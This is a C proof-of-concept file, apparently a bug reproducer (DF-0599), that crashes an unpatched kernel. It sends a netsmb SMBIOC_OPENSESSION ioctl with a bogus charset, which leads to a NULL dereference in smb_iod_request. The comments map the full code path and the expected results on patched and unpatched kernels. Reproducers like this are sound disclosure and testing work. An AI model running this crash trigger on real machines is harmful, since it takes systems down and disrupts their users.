DF-0599 / panic.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | /* * DF-0599 — smb_vc_create error-path NULL-iod panic via invalid charset. * * Trigger: open the netsmb clone device /dev/nsmb and issue SMBIOC_OPENSESSION * with ioc_localcs set to a charset name for which no kiconv cspair is * registered. iconv_open("tolower", localcs) returns ENOENT inside * smb_vc_create(); the do/while error cleanup does smb_vc_put(vcp) which * tears the VC down via smb_co_put -> smb_co_gone -> smb_vc_gone -> * smb_vc_disconnect -> smb_iod_request(vcp->vc_iod, ...). vc_iod is still * NULL (smb_zmalloc zeroed it and smb_iod_create() never ran), so * SMB_IOD_EVLOCK(iod) = smb_sl_lock(&iod->iod_evlock) dereferences * NULL + offsetof(struct smbiod, iod_evlock) -> page fault -> fatal trap 12. * * Path (sys/netproto/smb/): * smb_dev.c:190 SMBIOC_OPENSESSION -> smb_usr_opensession * smb_usr.c:171 smb_usr_opensession -> smb_usr_vc2spec -> smb_sm_lookup * smb_conn.c:202 smb_sm_lookup -> smb_vc_create (SMBV_CREATE flag set) * smb_conn.c:486 iconv_open("tolower", vcspec->localcs, ...) -> ENOENT * smb_conn.c:513 error cleanup: smb_vc_put(vcp) * smb_conn.c:555 smb_vc_gone -> smb_vc_disconnect * smb_conn.c:682 smb_vc_disconnect -> smb_iod_request(vcp->vc_iod=NULL, ...) * smb_iod.c:403 SMB_IOD_EVLOCK(NULL) -> NULL-deref PANIC * * Build: cc -o panic panic.c * Run: ./panic (MUST be root: /dev/nsmb is mode 0700 root:wheel) * * Expected on the unpatched #0 kernel: immediate fatal trap 12 (page fault) * at smb_iod_request+0xNN while dereferencing ~offsetof(iod_evlock). * Expected on a fixed kernel: ioctl returns -1 errno=ENOENT, no panic. */ #include <sys/types.h> #include <sys/ioccom.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> /* ---- mirror sys/netproto/smb/smb_dev.h (user-facing ioctl struct) ---- */ #define NSMB_NAME "nsmb" #define SMB_MAXSRVNAMELEN 15 #define SMB_MAXUSERNAMELEN 128 #define SMB_MAXPASSWORDLEN 128 #define SMBVOPT_CREATE 0x0001 /* smb_dev.h:52 */ struct smbioc_ossn { int ioc_opt; int ioc_svlen; /* size of ioc_server address */ struct sockaddr *ioc_server; int ioc_lolen; /* size of ioc_local address */ struct sockaddr *ioc_local; char ioc_srvname[SMB_MAXSRVNAMELEN + 1]; int ioc_timeout; int ioc_retrycount; char ioc_localcs[16]; /* local charset */ char ioc_servercs[16]; /* server charset */ char ioc_user[SMB_MAXUSERNAMELEN + 1]; char ioc_workgroup[SMB_MAXUSERNAMELEN + 1]; char ioc_password[SMB_MAXPASSWORDLEN + 1]; uid_t ioc_owner; gid_t ioc_group; mode_t ioc_mode; mode_t ioc_rights; }; #define SMBIOC_OPENSESSION _IOW('n', 100, struct smbioc_ossn) int main(void) { struct smbioc_ossn ssn; struct sockaddr_in sa_srv, sa_loc; int fd, rc; /* * A charset name for which no kiconv converter is registered. * ioc_localcs is only 16 bytes, so pick a short bogus name. */ static const char bogus_cs[] = "BOGUSCS-9"; fd = open("/dev/" NSMB_NAME, O_RDWR); if (fd < 0) err(1, "open /dev/%s (must be root)", NSMB_NAME); memset(&ssn, 0, sizeof(ssn)); ssn.ioc_opt = SMBVOPT_CREATE; /* force smb_vc_create path */ /* * Both ioc_server and ioc_local MUST point at valid sockaddrs: * smb_vc_create() calls dup_sockaddr() on both unconditionally * (smb_conn.c:462 vc_paddr, :466 vc_laddr) BEFORE it reaches the * iconv_open() calls (:486/:489) whose ENOENT failure is the actual * DF-0599 trigger. Providing both gets us past the sockaddr dup into * the charset error path -> smb_vc_disconnect(vc_iod=NULL). */ memset(&sa_srv, 0, sizeof(sa_srv)); sa_srv.sin_len = sizeof(sa_srv); sa_srv.sin_family = AF_INET; sa_srv.sin_port = htons(139); sa_srv.sin_addr.s_addr = inet_addr("127.0.0.1"); ssn.ioc_server = (struct sockaddr *)&sa_srv; ssn.ioc_svlen = sizeof(sa_srv); memset(&sa_loc, 0, sizeof(sa_loc)); sa_loc.sin_len = sizeof(sa_loc); sa_loc.sin_family = AF_INET; sa_loc.sin_port = htons(0); sa_loc.sin_addr.s_addr = inet_addr("0.0.0.0"); ssn.ioc_local = (struct sockaddr *)&sa_loc; ssn.ioc_lolen = sizeof(sa_loc); strlcpy(ssn.ioc_srvname, "127.0.0.1", sizeof(ssn.ioc_srvname)); strlcpy(ssn.ioc_user, "guest", sizeof(ssn.ioc_user)); strlcpy(ssn.ioc_localcs, bogus_cs, sizeof(ssn.ioc_localcs)); ssn.ioc_servercs[0] = '\0'; /* skip the toserver/tolocal calls */ printf("[*] DF-0599: issuing SMBIOC_OPENSESSION with localcs=\"%s\" " "(size=%zu)\n", bogus_cs, sizeof(ssn)); fflush(stdout); rc = ioctl(fd, SMBIOC_OPENSESSION, &ssn); /* If we reach here on the unpatched kernel, the bug did NOT fire. */ printf("[!] ioctl returned rc=%d errno=%d (%m)\n", rc, rc < 0 ? errno : 0); close(fd); return 0; } |